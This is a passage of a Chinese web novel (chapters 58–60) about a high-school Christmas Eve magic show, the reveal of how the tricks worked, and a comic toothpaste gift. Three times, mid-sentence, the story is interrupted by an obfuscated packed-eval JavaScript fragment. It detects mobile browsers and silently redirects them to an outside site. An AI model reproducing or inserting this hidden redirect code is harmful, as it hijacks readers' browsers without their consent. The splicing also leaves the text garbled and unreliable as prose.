观看的人都不由地捏紧了手心,屏息凝神,目光紧紧地锁在屏面暗黑的虚影上,别说挪开了,就连眨眼也不敢眨。 “一。” 孤灯高悬。光线像吐露的蛛丝从上空垂下,附着着某种神秘的气息,笔直地落在了屏风的正中。那影子依然保持着镇定的姿态,纪小鱼却隐约地从那黑影上看出了一点邪恶的端倪,仿佛那黑影露出了森白的牙齿在屏风后冷笑。 “嗯,”纪小鱼吸了吸鼻子,神色肃穆道,“是十分强大的、阴谋的气息!” 58.第五十八章 平安之夜 观众们的心像被系在一根高悬的麻绳上,摇曳、摇曳。这麻绳终于承受不住太过的重量,被撕拉出越来越大的裂口,变成细线,变成细丝,终于到了欲断的关头。 “Magic Time!”影子伸出手,利落地打了一个响指——“啪嗒!” 舞台上顿时灯光大炽,四面八方的灯都亮堂了起来,像盛典正式开始。而屏面上透出的人影就这样原地消失了! “诶?”满场响起惊讶的抽吸声。 众目睽睽之下,何非亮毫无征兆地出现在了舞台的边沿——距离屏风至少有四、五米远的地方! “啊!?” 还……还真的闪现成功了!? 这、这怎么可能呢? 只见何非亮正好整以暇地侧身坐在一个半人高的灯箱上,左腿微曲支撑着地面,右腿斜着往前方伸长,一副要多闲适有多闲适的模样。 灯箱吐着灼热的光,凸显着他不凡的逼格。 观众们统统都目瞪口呆,这种不可思议的观感很快就转化成了一种狂热的情绪,掌声铺天盖地地响起,还夹杂着欢呼和尖叫。 “啊啊啊啊啊啊!闪现、是真的闪现!!!太酷了吧!!!” “亮神!!!亮神万岁!!!” “我靠!他是怎么做到的!说好的眼见为实呢?” …… 在这样的浪潮中,何非亮依然一如既往地保持着淡定。他一手拖着骨瓷的杯碟,一手勾着鎏金的茶柄,将绘着玫瑰与荆棘叶的欧式茶杯向前微递,似是以此向欢呼的观众们致意。 那茶还冒着热气,像是刚刚泡好。何非亮在茶烟缭绕中悠哉悠哉地细品了一口。 “不、不可能!这、这绝对不可能!”纪小鱼惊讶地一时嘴巴张得太大,险些下巴抽筋。 他把自己的下巴狠狠摁了回去,又揉了揉自己睁得发酸的眼睛,伸长脖子往前一探——确实没看错呢,何非亮确实就好端端地坐在那里喝茶呢。 不是,闪现就算了,他从哪里还变出了一杯茶来? 这、这也太装逼了吧! 难不成,他还真的…… “不、不,世界是物质的,物质是运动的,运动是有规律的,规律是客观的。”纪小鱼在心里默念道,以此召唤出某种理性。 召唤成功 √ “对,这一定是黑魔法……啊不,障眼法!”纪小鱼抚摸着下巴揣摩道,“那个屏风后面一定另外有一个人!他故意吸引着我们的注意力,然后呢,真正的何非亮乘机偷偷溜走。” 可是—— 纪小鱼的眉头再次紧缩。 可是,那影子的轮廓,从脸庞到身段,都是那么的欠扁,一看就知道是何非亮本人了没错。自己每天一侧过头就能看见,再熟悉不过了,不至于会弄错。 啊,这…… 何非亮……总不可能有一个双胞胎兄弟吧?╭(′▽`)╭(′▽`)╯ “诶,应该没有吧。”纪小鱼不好意思地搔了搔脸,自语道,“何非亮要是有双胞胎兄弟的话,那我岂不是要排年级第三了?” 而且,何非亮穿着白色的衣服呢!他要是想偷偷溜走的话,岂不是太明显了? 这边百思不解,那边,何非亮已经慢悠悠地喝完了茶。他将茶杯倒扣在杯碟上,随意地搁在一旁,缓缓开口道,“一个人喝茶,没意思,我请几个同学一起喝吧。” 一石激起千层浪—— “啊啊啊啊啊!!!选我!选我!” “亮神选我!我我我我我!” “求求了!!选我吧!看看孩子吧!!” “呜呜呜,信女愿用一辈子中不了彩票换亮神选我!!!” …… 场面再次失控。 “这次公平起见,”何非亮的声音像澄澈的风,安抚着观众们的情绪,“每个同学的座位都有一个独特的号码,我们就摇号吧。” 又是一个响指,这次,舞台两边的屏幕上亮起了摇号的界面。 “我们就请,两位同学上来吧。” 号码开始转动,仿佛命运的齿轮。 何非亮一边走下舞台,来到了嘉宾席的前排,“张校长,可以麻烦你来按停吗?” “啊?行啊!”张校长爽快地配合,默默地还有点被需要到的感动,“按哪里呢?” “您稍等。”何非亮从西服的口袋里抽出一块真丝斜纹的方巾,把它轻飘飘地搭在了另一手空空的手掌上。 海军蓝的方巾,暗金色的古波斯纹路,看上去像带着某种奇异的魔力。何非亮的手悬在方巾的上空,施了一阵法,终于迅速地拉住方巾的一角将其抽开,一个红色的塑料按钮赫然出现在了手掌上。这按钮倒是显得挺简陋的,看上去像是从小孩玩具上扣下来的。 “按这个就好了。”何非亮绅士地把按钮递放在了张校长身前的桌子上。 “诶!”四周又响起了惊叹的声音。 啊?等一下,又没看懂,这么大一个按钮是从哪里变出来的??? 这其中,要数距离最近的张校长最为震惊。他睁大了眼睛,心里想——啊?自己应该离老眼昏花还差得远吧?怎么都这么近距离地盯着了,竟然啥也没看出来!? “哎呦,还真有两把刷子呵。”张校长一边称赞,一边用手往按钮上拍了下去。 “啪!” 号码定格在了13排7号! “啪!” 还有21排15号! 两名被抽中的小同学在众人艳羡的目光中激动万分地快步走上台来。 就在刚才摇号的工夫,工作人员已经推上台来了一个小桌子。小桌子罩着典雅的法式白蕾丝桌布,桌面的中央放着两个透明的玻璃杯和一个透明水壶。玻璃杯是空的,水壶里则盛装着清水。 “没、没关系的!水也可以的!”13排7号同学显然已经失去了理智,两只眼睛望着何非亮,直蹦出弹跳的爱心。 “真的不用点别的吗,比如——奶茶?”话音未落,其中一个玻璃杯突然“嗖”地一下飞进了何非亮的手里。 玻璃杯会会会……会飞!?还是何非亮已经练成了隔隔隔……隔空取物??? 这一手直接震慑得13排7号同学舌头打结、语无伦次,话都说不利落了,“有有有有有奶茶的话真是太好了。” 何非亮拎起水壶,往玻璃杯里倒水。神奇的是,清水一注入杯子里,就变成了奶茶漂亮的浅亚麻色,“尝尝?” 纪小鱼:“???” 观众:“!!!” 掌声从四面八方响起,又是新一轮的震惊Σ(っ°Д °;)っ。 “嗯。”13排7号同学颤抖地接过玻璃杯,轻抿了一小口,惊道,“真的、真的是奶茶的味道!” 何非亮又如法炮制,给21排15号也制作了一杯。 21排15号喝了,也表示,“好好喝!还真的是奶茶!” “这两个杯子送给你们了。”何非亮微微一笑,“你们拿去座位慢慢喝吧。” “谢谢亮神!” “谢谢!” 两位同学心满意足地捧着奶茶走下舞台。 纪小鱼被这一连串得表演秀得目瞪口呆——什么!?隔空取物就算了,清水变奶茶?真的是清水变奶茶!天啊,谁要是真的练成了这一门手艺,去开奶茶店岂不是赚死了!何非亮到底是怎么做到的??? 唉,脑壳都要想冒烟了也没想明白,一挠头,还带下了两根战损的头发。 “忙活了这么久,我都觉得有点渴了,”何非亮闲闲地往灯箱走去,倒着拎起自己空了的茶杯,“那么,我来给自己加点茶水。” 这么说着,何非亮却只是随意地从虚空一抓,然后虚握着拳头,将抓来的空气玄玄地倾倒在杯子里,仿佛这样,杯子里就可以凭空变出水似的。 舞台两边的大屏幕适时地都给杯子来了个特写。迎着光,只见杯子里的茶水竟然真的满满当当——这便是“空杯变水”! 众人:“???” 掌声四起,何非亮倾斜着茶杯,将茶水一饮而尽。特写便转向了他的眉眼。他的正脸和侧脸都是好看的。侧脸的棱角多了几分冰冷,恰似寒山。正脸的弧度少了些锋锐,像冷的湖。他的眉平而直,眼梢里带着凉风,却不凛冽。 “好帅啊!”有人情不自禁地捧着脸感叹,“其实他就坐在那里,一下午、一晚上,啥也不用做,我也看不腻啊!” 但何非亮已经开始准备下一个表演了。 他神神秘秘地开口道,“接下来,我需要请一位同学来配合我。” 现场再次躁动起来。但这次,何非亮没有请主持人来选,也没有摇号,而是从西装上衣的口袋里拎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16184617|176485||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出了一根鸽子的尾羽,当着众人的面将其点燃。 羽毛“劈里啪啦”地闪着光,一瞬间变作了一只活蹦乱跳的鸽子。那鸽子扑腾了一下翅膀,乖乖地停在了何非亮的腕上,橙红的尖嘴衔着一张金色的卡片——放大来看,那张卡片上赫然用花体字写着“邀请函”三个字。 现场再次响起如雷的掌声。 “本来想让鸽子替我送这张邀请函的。”何非亮取下了那张邀请函,鸽子便一跳一跳蹦到了他的肩膀上,“但是呢,考虑到有的同学可能会害怕。所以我们还是用别的方式吧。” 何非亮顺手把邀请函点燃,火花像从仙女棒中流淌出来,绚丽而夺目。光亮经过鸽子,鸽子便凭空不见了;光亮熄灭,邀请函变成了一根纤小的竹蜻蜓。何非亮双手一搓,那竹蜻蜓便悠悠地起飞。 啊?鸽子呢?鸽子去哪里了?竹蜻蜓又是从哪里来的?它要到哪里去哇? 观众们都惊麻了,一时反而都忘记了鼓掌,只眼睁睁地注视着那支竹蜻蜓轻盈地飞出舞台,掠过层叠的人群,像长了眼睛似的停在了纪小鱼的头顶上,然后偃旗息鼓似地下落,落在了纪小鱼的掌心。 “拿到邀请函的同学,可以麻烦上来一下吗?”何非亮的声音,似笑非笑地从远处传来。 “邀请函?”纪小鱼呆呆地看着手心上停着的竹蜻蜓。 这是邀请函吗? 这是挑战书吧!!! 嘿!何非亮也太拽了吧?就这么大摇大摆地请他上台,不怕他上去捣乱吗?真是的,这是在赌他就算是面对面也看不穿那些个小把戏吧! 好气哦!我还偏就上去找茬了!看你怎么办! 纪小鱼上了台,一脸戒备地站在了离何非亮足足有两米远的地方。他先是弯着腰、背着手、踱着步,防贼似的围着何非亮逡巡了一圈,似乎生怕何非亮在周围设下了什么了不得的陷阱。巡逻完毕,暂时没有发现什么可疑的情形。纪小鱼这才终于停了下来,却仍然严防死守地和何非亮保持了距离。 “喂!”纪小鱼一边死死地盯着何非亮,生怕他搞什么小动作,一边口吐虎狼之词,“何非亮,我想上天,你能帮我吗?” 全场哄堂大笑。 “能啊。”何非亮摊开手,“来,我把你扔上去。” 观众们又是一阵大笑。 嘿呦,这两人,可真逗,活活地把魔术表演配合成了相声节目。 “那……那还是算了。”纪小鱼尴尬地摸了摸鼻尖,虚张声势,“你要变什么,快变给我看看!” “好啊,放你衣服口袋了。”何非亮耸耸肩。 “啊?” 这、这怎么可能呢!自己一上台就离何非亮老远了!根本、根本没给他机会好吗?他怎么可能平白就变出了个东西在我的口袋里呢?隔空传物吗?这不可能、绝对不可能!不是我疯了就是何非亮疯了! 一边想,纪小鱼一边紧张地摸索向自己的校服口袋,把两个口袋都反着抽了出来,“骗人,哪里有啊!诶,怎么好像有张纸条!?” 纪小鱼一个激灵,纸条从冰凉的指缝中漏出来,轻飘飘地落在了地上。 那一刻,他清晰地感觉到了一种直冲头皮的荒诞、一种陷入绝境的惶惑、一种突如其来的惊奇,和一种正在发生的挫败。 是的,没错!这是一场动乱,而他遭遇了理性的背叛! 观众们间也爆发出惊呼,因为他们知道纪小鱼肯定是全校最不可能配合何非亮表演的人。更何况纪小鱼此时此刻在镜头前表现出来了一副完全演不出来的失魂落魄。那么,四舍五入,何非亮会魔法的事情……就一定是真的咯!!! 红红火火恍恍惚惚凄凄惨惨戚戚。纪小鱼愣了好一会,才浑浑噩噩地使唤着自己僵硬的身体捡起纸条。他像见鬼了一样一字一句地读着上面的字,“苹、果、兑、换、券?” “看好啰。”何非亮潇洒地从纪小鱼的手里抽过纸条,故意在他的眼前点燃。纸条“噼里啪啦”地发出了流光溢彩的光芒,倒像是一捧璀璨星光编织的花束。这亮闪闪的光芒不幸地把纪小鱼的脸色映照得更加苍白。一瞬的绚烂以后,一个又大又红的苹果稳稳当当地出现在了何非亮的掌心。 “小鱼,平安夜快乐。” 何非亮笑笑,把变出来的苹果交到纪小鱼的手里,鞠躬谢幕。 纪小鱼痴呆ing…… 59.第五十九章 小小心意 纪小鱼的脑袋里一团乱麻,他理了半天,才勉强把这团乱麻理成了一个“?”号的形状。 这甚至让他错过了等待结果时的紧张。一直到屏幕上打出了同学们投票的结果,纪小鱼仍然觉得自己仿佛在一个虚幻的梦里。他看见自己的名字和乔希希的一起,排在了何非亮的后面。何非亮那个老妖怪的名字又排在了第一,但那已经不重要了。 张校长致辞,好像提到了他,还说了什么“听琴可以置身史境[1]”、唐代薛翰林著的《琴论》中又有哪些高见之类的,总之大概是的确颇费了几句话的时间夸了他一下,但那已经不重要了。 散场了,他像幽灵一样在校园里徘徊,又游荡出了校门。他失去了表情,木然地回应着周围的一切。有同学在他的视线里停留了一下,嘴巴张开了又闭上了,看上去有可能是在和他说话,但那已经不重要了。 一路上,有风吹过,冷冷的。但这是真实的冷吗?还是只是他自己察觉到的冷?这个世界是真实的吗?还是只是他自己感觉到的世界?一个人没有了意识,物质对这个人就失去了意义。一个人没有了物质,却也许能在想象中得到自由。唉!何非亮、唉、何非亮!这个名字为什么一直在他的脑海里盘旋?难道这个人已经刻进了他的脑神经中了吗?唉,为什么想着他又看见了他,难道他才是这个世界的中心吗?可他凭什么呢?我为什么不能是他世界的中心呢? 就这样又穿过棕榈成行的长道、大理石堆砌的门廊,何非亮突然脚步一顿,停在了一扇光亮可鉴的玻璃门前。 “小鱼,”何非亮斟酌似地开口道,“你一直跟着我,是要——和我回家吗?” 瞧,真可笑!他怎么能说他在跟着他,他为什么不道歉,说是他在堵着他? 纪小鱼冷冷地睨着何非亮,“你说我跟着你,你有证据吗?这条路写了你的名字么?” “这条路倒没有写我的名字。”何非亮慢条斯理地说,“可是,这扇门进去,再上电梯,就是我家了。当然,你要去坐坐、喝杯茶也是可以的。” 又是一阵冷风吹过,把纪小鱼吹得清醒了一点。他突然说,“咦?你不是很厉害吗?何必大费周章请我上你家喝茶?你就现场变一杯茶给我呗?最好再变一个沙发给我坐一坐。哦,要不你直接把我变回家吧。对啊,你觉得我在跟着你,你为什么不把我变回家呢?” 何非亮沉默了一会,突然笑了,“小鱼,你在想什么啊?我哪有那么大本事啊,那些都不过是魔术罢了,你不会是当真了吧?” “那你快点告诉我你的魔术是怎么变的!”纪小鱼激动地叫囔了起来。他觉得自己快要被好奇心咬死了。 “啧啧啧,”何非亮看着纪小鱼直摇头,暗示道,“我可以告诉你,但你这个态度……” “我态度非常好!”纪小鱼深吸了一口气,抿着唇硬挤出了一个笑脸,一边双手合十,敷衍地在何非亮的眼前摇晃了一下,“拜托了、拜托了!” 何非亮挑剔地摇了摇头,“还不够好。” 纪小鱼再次深吸了一口气。他感觉到了何非亮在得寸进尺,但又有什么办法呢?他的好奇心被灌下了毒药,而何非亮的解答是唯一的解药。他被拿捏了。 可怜的纪小鱼被迫营业,他违心地在嘴里抹了蜜,吹捧道,“你很帅,我的菜;你超美,我超爱;你的魔术很厉害,拜托告诉我怎么变的吧!好人有好报,好运马上到!好人做到底,老鼠爱大米……” “行吧、行吧。”何非亮哑然失笑,打断了纪小鱼越来越不着调的阿谀之辞,“那你听好了——其实吧,魔术嘛,说到底,一靠手法,二靠道具,三要懂点心理学。” “具体一点!!!”纪小鱼对这样含糊其辞的回答一点也不满意,毕竟这是他出卖了灵魂换来的! “嗯,”何非亮有点为难,“这个一时半会说不清楚。” “我有空!” “那你要听哪一个?” “都要!” “可是,今天有点太晚了,”何非亮抬腕看了看手表,“你看,都十点十五分了。你不是说你平时十点钟就要睡了吗?要不,明天下午……” 纪小鱼气呼呼地从鼻腔里喷出了一口浓烟,他咬着牙,用不容置疑的语气道,“明天早上!” - 第二天早晨,纪小鱼坐在餐桌前,打了个大大的呵欠。 毫无疑问,他昨晚并没有睡好。甚至还做了个噩梦,梦见何非亮突然闪现到他的房间里,把他给打了一顿。这样以后,何非亮还不忘当着他的面把他一书柜的宝题都抢走了。 这个梦实在是太可怕了!肯定是反的! 就在这样晕晕乎乎吃着早餐的时候,妈妈突然开口问道,“纪小鱼,刷牙了吗?” “刷了啊!”纪小鱼被妈妈这个问题问得莫名其妙,“干嘛?” “没什么。”被这么一反问,小鱼妈妈反倒是不好意思地笑了起来,“哎呀呀,就是去年双十一,和隔壁王阿姨一起凑单合买的牙膏,到现在都没有用完咧。” 哟,牙膏啊! 纪小鱼吸溜了一口面条,嘟囔道,“你们俩一人囤了得有一百条牙膏吧?别说一年两年了,就是十年也用不完啊……嘿嘿,我记得我当时可是和你说过了,叫你别买那么多!” “唉,也不能怪我!”小鱼妈妈的脸上浮现出了一点既惆怅又懊恼的情绪,“当时那是买一百条送五十条、直播间关注下单再送五十条呢!从来没有见过这么优惠的价格……” 纪小鱼低头吃面,暗笑不语,甚至还有点幸灾乐祸,殊不知…… “啊!对了!”小鱼妈妈突然间灵机一动,“你今天不是要去找同学玩吗?拿几条分给同学呗。” “啊!?”纪小鱼脑补了一下自己送何非亮牙膏的场景,光是想想,大冬天的就几乎要汗流浃背了,连忙道,“不、不用了吧!” “别这么小气,我们家反正也用不完!” 这、这是小气的问题吗? 纪小鱼目瞪口呆。 就在这一愣神的工夫,小鱼妈妈已经开始风风火火地翻箱倒柜了。 “妈、妈,别……” 然而妈妈已经放下话了,“牙膏我就放鞋柜上了昂!我还给你找了一个特别好看的纸袋装起来了!” “我去上班啰!” “牙膏记得送出去。别小气!” “Bye~” 门“嘭”的一声,关上了。 纪小鱼:“……” 安静的家中,纪小鱼呆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16190786|176485||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 若木鸡地望向鞋柜上巨大的纸袋,一种不详的预感像乌云一般笼罩在了他的心头。终于,他颤颤巍巍地站起身,怀揣着一丝希冀,用僵硬的指尖勾开了纸袋的边缘,往里面一看—— 只一眼,纪小鱼便险些吓晕过去! 妈呀!这、这是几条牙膏吗!这里面至少有五、六十条牙膏吧!!!╭(°A°`)╮ 咱们也不至于送的比直播间还要大方啊! 救命啊!!! - 母命难违,纪小鱼沮丧地拎着纸袋走出家门——唉,还怪沉的咧! 街心公园离家并不远。一路上绿树成荫,鸟雀呼晴,勉强让纪小鱼心情好了一些。于是他想,送就送呗,就当给何非亮一个“惊吓”吧! 哈哈!他肯定会被吓到的!量变引发质变,谁能不被一大袋子的牙膏吓到呢! 只要我不尴尬,尴尬的就是别人! 嘿嘿!^_^ 想着想着,纪小鱼不由地加快了脚步。 大老远的,就看见了何非亮正站在街心公园门口的一棵凤凰木下等他。 微风拂过,树的枝条、树的叶子,树下人影的发梢并衣摆,都在闪闪发亮的阳光下轻轻晃动。 “久等啦!”纪小鱼迫不及待地小跑上前,一边嬉皮笑脸地将纸袋往前递出,“诶,何非亮,你不是要教我变魔术嘛?太感谢啦!这是送给你的礼物!” 纸袋递出去的时候,纪小鱼的嘴角一不小心没绷住,漏出了一点哧哧的笑。 “谢谢……”何非亮愣了一下,犹疑地接过这份突如其来的礼物,低头往袋中一看,波澜不惊的脸上罕见地浮现出了一丝诧异—— 呃……还真是奇特啊。袋子里面装着的竟然不是炸弹,而是一些看上去比炸弹还要更不可思议的东西。 “牙……牙膏?” “嗯!”纪小鱼用力地点头。 何非亮又往纸袋里看了进去,这次看得更加仔细了,还动手在里面翻了翻,“八……八十一盒牙膏?” “嗯!” 妈呀,怎么比我估算的还要多出这么多! 纪小鱼的心里流出了一滴黄豆汗,但脸上仍然保持着像爽朗的晴天一样灿烂无暇的笑容。他拱了拱手,把每一个字都刻意地说得格外字正腔圆,“小小心意,不成敬意。还请笑纳!” 何非亮:“……” 纪小鱼看见何非亮的头顶上难得地打出了三个大大的问号,笑得乐不可支——怎么样?慌了吧何非亮?你现在一定觉得很莫名其妙吧?思来想去,不得其解吧?嘿嘿,你就猜去吧!我才不告诉你我为什么要送你牙膏呢!!!↖(^ω^)↗ 何非亮默默地垂下眼,胳膊肘挽着纸袋,拇指在手机上飞快地打着字。 纪小鱼凑过头去一看,只见手机亮起的屏幕上,赫然显示着百度搜索的界面。搜索框里输入的是“送牙膏是什么意思”。 百度优选为你智能解答——“送牙膏的意思可能是希望每天早上都能和你一起刷牙,这可能是一种温馨的表达方式。” 纪小鱼:???” 何非亮:“……” 气氛一度有些尴尬。在双方短暂的沉默中,何非亮手指一滑,在回答的下方点了“有用”。 60.第六十章 魔术揭秘 “不、不!”纪小鱼回过神来,磕磕巴巴地开口道,“你、你听我解释!我,我不是、不是这个意思!” “那你是什么意思?”何非亮眨了眨眼睛,从纸袋里拿出一盒牙膏仔细地上下摆弄着观察了一下,不确定地问道,“这里面是墨水?刷了牙齿会变黑?” “那、那倒也不是。” 墨水?救命啊,亏你想的出来哦!平时没少整人吧! 纪小鱼在心里偷偷地翻了个白眼。 “嗯……那你说?”何非亮摆出了一副洗耳恭听的模样。 “呃……”纪小鱼有一下没一下地扣着手指,想到百度刚才搜索出来的结果,老脸一红。 两害相权取其轻。为了避免误会扩大,纪小鱼终于决定还是把事情的真相一五一十地说出来好了,“其实呢……就是我家的牙膏买多了,不是普通的多……咳,所以就送给你呗……你要拿去分给别人也是可以的。” “哦,这样啊。”何非亮把手里的牙膏放回了纸袋,像是姑且相信了他的说法。 “好啦好啦!”纪小鱼暗暗地松了口气,连忙岔开话题,“你快点讲你的魔术是怎么变的吧!你昨天答应了要告诉我的!可不能反悔!你——你就先讲闪现好了!还有,我们边走边说吧!站在这里挺累的!” “闪现啊……”何非亮一边走,一边摸着下巴思索了一下,“其实也没那么神奇。召唤师达到19级自动解锁,冷却时间120秒……” “何、非、亮!”(`∧'' ) “好吧、好吧。我说就是了,其实那个屏风是有机关的……” 纪小鱼头顶上冒出来的火气这才被压下去了一些。 好气哦,何非亮这种无奈的语气听起来像是在指责自己怎么没有幽默细胞一样。但天地良心,现在是开玩笑的时候吗?有的人的心脏已经被好奇啃噬得支离破碎了,有的人的大脑已经被思虑逼迫得彻夜难眠了,有的人却还在这里顾左右而言他,说话没边没际没重点,真是急死个人了! 只听何非亮继续开口道,“机关一按,屏风就会变得不透明,并且播放我提前录好的影子。这样,我就相当于有了一个临时的影分身吸引你们的注意,我再趁机跑掉就好了。” “果然!我就觉得那个屏风是有问题的!但是,你不是让人上去检查你的屏风了吗?你就不怕他们发现你的机关?他们是托吗?” “咳……他们不是。我整场表演只有你一个托。” “我?”纪小鱼皱起眉头大声囔囔,“我才不是托呢!谁要做你的托啊!我做拖鞋、做拖把也不可能做你的托!” “呵呵。”何非亮不置可否,“你是一个傻托。” 纪小鱼一口气差点没缓过来。 忍! 忍忍忍忍忍忍忍! 成大事者,能忍人所不能忍。等我听完了全部的机密,再找何非亮报仇也不迟! “哎呦,”纪小鱼咬着牙,尖着嗓子阴阳怪气道,“好荣幸喔,我竟然可以当你的托耶!” 说完,只见何非亮一脸的无动于衷,反倒是纪小鱼觉得身上的鸡皮疙瘩都掉了一地了,也不知道这算不算乱丢垃圾。他连忙清了清嗓子,稍微正色道,“你继续讲!你就不怕他们发现你屏风上的机关吗?” “发现不了的。”何非亮一副淡定自如的样子,“因为机关在我那天戴着的眼镜上。” “好哇!”纪小鱼觉得这还真是意想不到,由衷地感叹道,“你还真是够狡猾耶!” 何非亮无所谓地耸了耸肩,“不狡猾怎么能骗过那么多观众的眼睛呢?那么多人盯着我呢。至于细节上,还做了很多其他的准备。比如灯光其实都是经过特别调整的,确保我移动到的路线处于光线的死角。我自己也从西装内衬的口袋中拿出了提前准备好的黑色斗篷,这样在黑暗中就更不容易被发现了。” “啊?还有黑色斗篷吗?我怎么不知道?你穿完以后放哪了?” “那个灯箱你还记得吗?就是我闪现以后坐着的灯箱。它其实也是一个道具,里面有一个空间可以放东西。我喝茶的那一套茶杯也是从里面拿的。” 啊,原来是这样啊! 纪小鱼恍然大悟,继续咄咄地问下一个问题,“那——玻璃杯怎么会飞,飞到你手里?” “这个简单。杯底套了透明的钓鱼线。一拉不就滑过来了么?” “嗯,好吧。哦,奶茶、奶茶怎么变得?”纪小鱼终于问到了他最关心的其中一个问题,“清水怎么变成奶茶?” “你知不知道有一种透明的饮品?” “透明的饮品?” “嗯,不仅有透明的奶茶,还有透明的咖啡,透明的柠檬茶,透明的可乐等等,你上网一搜就知道了。这种透明饮料在霓虹国比较流行,据说是因为他们比较介意别人的眼光。” “所以,”纪小鱼挠了挠头,“那个大的玻璃水壶里装的其实就是这种透明的奶茶?不是清水,而是——奶茶?” “Bingo!通过一点点提前洒在玻璃杯里的可食用色素,我还原了奶茶本来该有的颜色。这样,从视觉效果上看,我就把清水变成了奶茶。味觉上来说,它本来就是奶茶,自然也没有什么破绽。” “好吧,原来是这样啊……”知道真相后的纪小鱼反而有一点点的沮丧,好像一个发家致富的梦想就这么破碎了,“那么,空杯子变出水也是假的啰?不然你课间就不会要拿水壶去打水了。” “当然是假的,”何非亮露出一点笑来,“你在想什么呢。” “我知道、我知道,我已经摸索出规律了!空杯变水,是因为那个杯子根本就不是空杯,只是你让我们以为那是个空杯。我想,那个杯子里大概有什么机关吧,比如一个透明的橡胶盖子之类的。你找个机会把它挪走,藏在下面的水就显现出来了。” “完全正确。”何非亮微微一笑,“其他的,变按钮、变鸽子、变竹蜻蜓、变苹果的原理都是一样的,都是利用小范围的遮蔽创造出视觉的盲区,抓住观众注意力的空当,利用极快速的手法,把东西从口袋里拿出来。不过听起来简单,练起来可不容易。特别一点的可能是那个竹蜻蜓……” “那个我知道,它掉在我手里的时候,我发现它更像是一个迷你的无人机,所以它会飞、会定位也不奇怪。不过,”纪小鱼的脸上流露出了迷茫的神色,“我还有一个问题,那就是我口袋里的纸条是怎么回事?就是那张写着‘苹果兑换券’的纸条——我记得你当时离我有那么远、那么远的距离吧,你是怎么变进去的?” 何非亮懒懒地睨了纪小鱼一眼,“所以说你是托啊。” “啊?” “纸条是我上台前就塞进你口袋里的。” 纪小鱼:“……” “谢谢哦。”何非亮弯起眼,似笑非笑地瞧着纪小鱼,“我能拿第一也多亏了你的配合。” 我?%%&……%&你呦!(╯°Д°)╯︵ /(.□ . \) 岂有此理!岂有此理! 原来是这样!折磨了我一宿的问题原来是……这样!!! 好气哦!我纪小鱼竟然被利用了!?我纪小鱼竟然被何非亮给利用了!!! 天啊,比被何非亮利用更受不了的事情,就是被何非亮利用完了还像一个傻瓜一样被蒙在鼓里!天啊,还竟然觉得何非亮特别的厉害! 啊啊啊啊啊啊!好想拍死昨天的自己啊! 十二月的冬风是冷的,但纪小鱼却觉得自己在燃烧! 反正、反正已经知道何非亮全部的秘密了!可以开始打架了!!! 纪小鱼攥紧双拳,只觉得源源不断的力量正在注满全身—— 72.6%! 84.1%! 99.9%! 好快!是超级快充的感觉!!! 正在纪小鱼准备扑上去和何非亮来一场新世纪的格斗时,公园的深处突然随风隐隐传来了一阵飘渺的歌声,和着吉他的伴奏,伤感、迷茫,还有些求助的意味。纪小鱼握紧的拳头软了下来,暂时放下了心中的恩怨,和何非亮交换了一个眼神,向歌声传来的方向走去。 “爱我单纯 笑我天真 让我卸下防备又先行撤退 你的游戏 我认了真 看不穿的人伤得最深 你说爱是一种体会 纠缠彼此都很疲惫 你说爱有顷刻亦已很美 哪管我日夜心碎 对镜憔悴 你说梦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16195263|176485||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 醒何必流泪 不愿放下平白伤悲 你说爱有须臾亦已很美 哪管我心已成灰 狠心买醉 ……[1]” 等到他们走近的时候,那歌声又换了另一个调子,但依然是伤心又撕裂的。 明明是晴天,唱歌的人却仿佛赤脚踩在冰凉的礁石上,在冷雨里淋湿了。奇怪的是,这歌声听上去还怪熟悉的,似乎在哪里听过一样。 “我想不通 爱你是一场罪过 还是青春覆水难收 一场尴尬蹉跎 该怎么收场 我成魔又成佛 唯独成全不了 给我的解脱 我死不认错 还能否学会洒脱 伤口多久愈合 才能咬牙说爱过 你不要沉默 请你告诉我 请你告诉我 我搞不懂 你为何忍心伤我 多少甜蜜回忆 眨眼化作折磨 要怎么离场 我落泪又落魄 唯独落不下的 是一个结果 心已成荒漠 还能否开出花朵 流过多少眼泪 才能够不再脆弱 我不要你的沉默 请你告诉我 告诉我 ……[2]” “纪、纪小鱼?”乍一眼看到纪小鱼的时候,唱歌的人弹吉他的手指顿时僵住了。 “何、何非亮!?”再一眼瞄到何非亮的时候,弹琴的人手里的吉他直接差点没拿稳。 “同、同学!?哎哟,老同学!”纪小鱼也是同样的震惊——噢,我的老天,这不是我的初中同班同学吗?噢,该死,我竟然一时想不起她的名字了!印象里她好像也考进了S中,哪个班就不记得了。 